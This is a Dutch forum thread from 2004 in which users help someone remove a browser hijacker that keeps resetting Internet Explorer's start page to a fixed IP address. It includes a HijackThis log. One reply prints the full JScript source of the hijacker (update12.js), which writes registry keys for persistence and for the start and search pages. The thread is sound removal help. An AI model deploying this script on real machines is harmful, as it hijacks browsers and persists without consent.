hijacker/startpagina

[Verwijderd]

Ik heb een irritant probleem en ik kom er niet uit
Ik heb blijkbaar dus spyware op een of andere manier op me computer gekregen, me startpagina word iedere keer terug verandert in een site die het niet eens doet, zwaar irritant
Ik heb de howto:spyware ff doorgelezen en alles uitgevoerd
Spybot Search & Destroy(geupdate) vindt niets, met HijackThis krijg ik het volgende:

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = http://81.211.105.9/search.php?v=3
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://81.211.105.9/index.php?v=3
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://81.211.105.9/index.php?v=3
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = Koppelingen
O2 - BHO: (no name) - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - D:\Program Files\Adobe\Acrobat 6.0\Reader\ActiveX\AcroIEHelper.dll
O2 - BHO: NAV Helper - {BDF3E430-B101-42AD-A544-FADC6B084872} - D:\Program Files\Norton AntiVirus\NavShExt.dll
O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx
O3 - Toolbar: &Google - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - C:\WINDOWS\Downloaded Program Files\googlenav.dll
O3 - Toolbar: Norton AntiVirus - {42CDD1BF-3FFB-4238-8AD1-7859DF00B1D6} - D:\Program Files\Norton
etc....

De bovende 3 links komen overeen met het ip wat staat ingesteld in me startpagina, maar als ik het wis of met HijackThis, of ik zoek alles met dat ip op in me register en herstel/wis dat, het blijft terug komen!!!
Ik heb geen zin om me systeem weer te formatteren dus weten jullie een oplossing??

Alvast bedankt

[Verwijderd]

Kan je niet ff de volledige Hijack log online zetten? Er is een ander iets waarschijnlijk wat iedere keer die startpage opnieuw insteld.

zie:
start up pagina verandert steeds...
[rml][ IE] Weer een startpagina irritatie[/rml]

[ Voor 34% gewijzigd door Verwijderd op 14-01-2004 20:10 ]

[Pizzaman]

[rml][ IE] Weer een startpagina irritatie[/rml]

Draai het programma wat hier in staat en je probleem is opgelost. (CWShredder)

[ Voor 5% gewijzigd door Pizzaman op 14-01-2004 20:11 ]

[Moons]

Ik had hem ook:
Verwijder ff c:\windows\update12.js
Symantec noemt hem trouwens 'VBS.StartPage', en hij wordt gevonden door symantec's online scan, niet door die van trendmicro.
Dit is de inhoud ervan:

var url = "http://81.211.105.9/index.php?v=2";
var burl = "http://81.211.105.9/search.php?v=2";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update12.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");

[ Voor 15% gewijzigd door Moons op 29-01-2004 18:43 . Reden: aanvulling ]

[Verwijderd]

Je had de rest van je log ook mogen posten.
Hier kunnen we weinig mee.